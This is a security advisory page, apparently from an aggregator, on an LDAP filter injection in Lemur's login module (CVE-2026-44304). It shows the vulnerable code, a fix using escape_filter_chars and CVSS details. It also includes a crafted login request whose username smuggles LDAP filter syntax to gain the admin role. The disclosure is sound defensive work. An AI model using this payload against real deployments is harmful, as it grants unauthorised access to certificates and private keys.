Lemur: LDAP Filter Injection enables post-authentication privilege escalation
Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator.
Location: lemur/auth/ldap.py, _bind() method
Filter 1 — User lookup (line ~161):
```python
ldap_filter = "userPrincipalName=%s" % self.ldap_principal
```
self.ldap_principal is derived directly from args["username"] submitted at POST /auth/login with no sanitization. The ldap.filter.escape_filter_chars() function is never called.
Filter 2 — Active Directory group lookup (line ~189):
```python
groupfilter = "(&(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))".format(userdn)
```
The userdn value is derived from the LDAP response to the first unsanitized query, making it potentially tainted as well.
An authenticated LDAP user can:
1. Inject LDAP filter syntax into the username field during login
2. Manipulate the group membership query to return arbitrary groups
3. Be assigned the admin role or any other privileged role in Lemur
4. Gain unauthorized access to all certificates, private keys (via /certificates/<id>/key), and CA configurations
5. Issue certificates under any authority
The simple_bind_s() call must succeed before the injectable filter is reached, so the attacker requires valid LDAP credentials. This is a post-authentication privilege escalation.
1. Deploy Lemur with LDAP authentication enabled:
```python
LDAP_AUTH = True
LDAP_IS_ACTIVE_DIRECTORY = True
LDAP_BIND_URI = "ldaps://dc.corp.example.com"
LDAP_BASE_DN = "DC=corp,DC=example,DC=com"
LDAP_EMAIL_DOMAIN = "corp.example.com"
```
2. Create a valid LDAP user account
3. Send login request with crafted username containing LDAP metacharacters:
```
POST /auth/login
Content-Type: application/json
{
"username": "validuser)(memberOf=CN=LemurAdmins,DC=corp,DC=example,DC=com",
"password": "validpassword"
}
```
4. The LDAP filter becomes:
```
userPrincipalName=validuser)(memberOf=CN=LemurAdmins,DC=corp,DC=example,[email protected]
```
5. Depending on the LDAP server's parsing, this can alter query semantics
6. The user is assigned roles they should not have access to
Apply ldap.filter.escape_filter_chars() to all user-controlled values before interpolation:
```python
from ldap.filter import escape_filter_chars
# Fix 1: User lookup filter
ldap_filter = "userPrincipalName=%s" % escape_filter_chars(self.ldap_principal)
# Fix 2: Active Directory group filter
groupfilter = "(&(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))".format(
escape_filter_chars(userdn)
)
```
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVE-2026-44304 is classified as CWE-90: LDAP Injection. Input is placed into an LDAP query without neutralisation, allowing the directory lookup to be rewritten.
CVE-2026-44304 is recorded against 2 packages.
Published on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
pypi.org (Package)
github.com (Advisory)
lemur has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-90: LDAP Injection) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| lemur | — | 1.9.0 |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2026-44304 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.